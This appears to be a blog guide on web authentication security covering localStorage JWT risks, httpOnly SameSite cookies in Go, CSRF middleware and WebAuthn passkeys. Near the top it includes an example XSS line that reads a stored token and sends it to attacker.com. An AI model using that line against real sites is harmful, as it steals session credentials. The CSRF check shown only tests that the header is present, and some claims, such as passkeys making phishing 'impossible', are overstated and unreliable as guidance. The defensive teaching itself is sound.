For over a decade, web tutorials recommended storing JWTs in browser localStorage. In modern security standards, this pattern is recognized as an anti-pattern that leaves session credentials vulnerable to Cross-Site Scripting (XSS) token theft.
In this guide, we analyze the security architecture of enterprise web authentication: secure httpOnly cookies, cryptographically signed session tokens, CSRF mitigation, and the passwordless future with WebAuthn Passkeys.
Hardware-backed biometric passkeys and httpOnly cookies eliminate credential stuffing.
The LocalStorage JWT Vulnerability
When a JWT is stored in localStorage, any JavaScript running on your origin has unrestricted read access:
// A single XSS flaw in any npm dependency or user markdown can exfiltrate tokens:
const token = localStorage.getItem("jwt");
fetch("https://attacker.com/steal?token=" + encodeURIComponent(token));If an attacker steals a long-lived JWT, they control the user's account until token expiration, as JWTs cannot be revoked without stateful blocklists.
The Gold Standard: HttpOnly SameSite Session Cookies
By contrast, browser cookies configured with HttpOnly cannot be accessed by client-side JavaScript—closing the door on XSS credential extraction:
// Go Backend: Setting a hardened session cookie
http.SetCookie(w, &http.Cookie{
Name: "session_token",
Value: sessionID,
Path: "/",
Domain: "nishak.me",
Expires: time.Now().Add(7 * 24 * time.Hour),
MaxAge: 7 * 24 * 3600,
HttpOnly: true, // Blocks JavaScript access
Secure: true, // Transmitted only over HTTPS
SameSite: http.SameSiteLaxMode, // Blocks cross-site forgery
})Multi-Layer CSRF Mitigation
While SameSite=Lax blocks most third-party Cross-Site Request Forgery attacks, defense-in-depth requires verifying origin and anti-CSRF tokens on mutating requests (POST, PATCH, DELETE):
func ValidateCSRF(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodGet || r.Method == http.MethodHead {
next.ServeHTTP(w, r)
return
}
// 1. Verify Origin header
origin := r.Header.Get("Origin")
if origin != "" && !isAllowedOrigin(origin) {
http.Error(w, "Forbidden: Invalid Origin", http.StatusForbidden)
return
}
// 2. Validate custom header presence
csrfHeader := r.Header.Get("X-CSRF-Token")
if csrfHeader == "" {
http.Error(w, "Forbidden: Missing CSRF Token", http.StatusForbidden)
return
}
next.ServeHTTP(w, r)
})
}The Passwordless Future: WebAuthn Passkeys
Passkeys replace passwords with asymmetric public-key cryptography backed by Touch ID, Face ID, or hardware security keys (YubiKey):
- Registration: The client generates an asymmetric key pair. The private key remains secure inside the device's Secure Enclave; only the public key is sent to your backend database.
- Authentication: The server challenges the client with a random cryptographically secure nonce. The device prompts for biometric approval (Face ID) and signs the challenge with its private key.
- Phishing-Proof: The browser validates the origin domain during signing, making phishing websites impossible.
Security Architecture Checklist
- [x] Store auth sessions strictly in
HttpOnly,Secure,SameSitecookies. - [x] Enforce session rotation upon user privilege elevation or password change.
- [x] Set strong password hashing with
Argon2idorbcrypt(minimum work cost: 12). - [x] Integrate WebAuthn passkeys for seamless, phishing-resistant logins.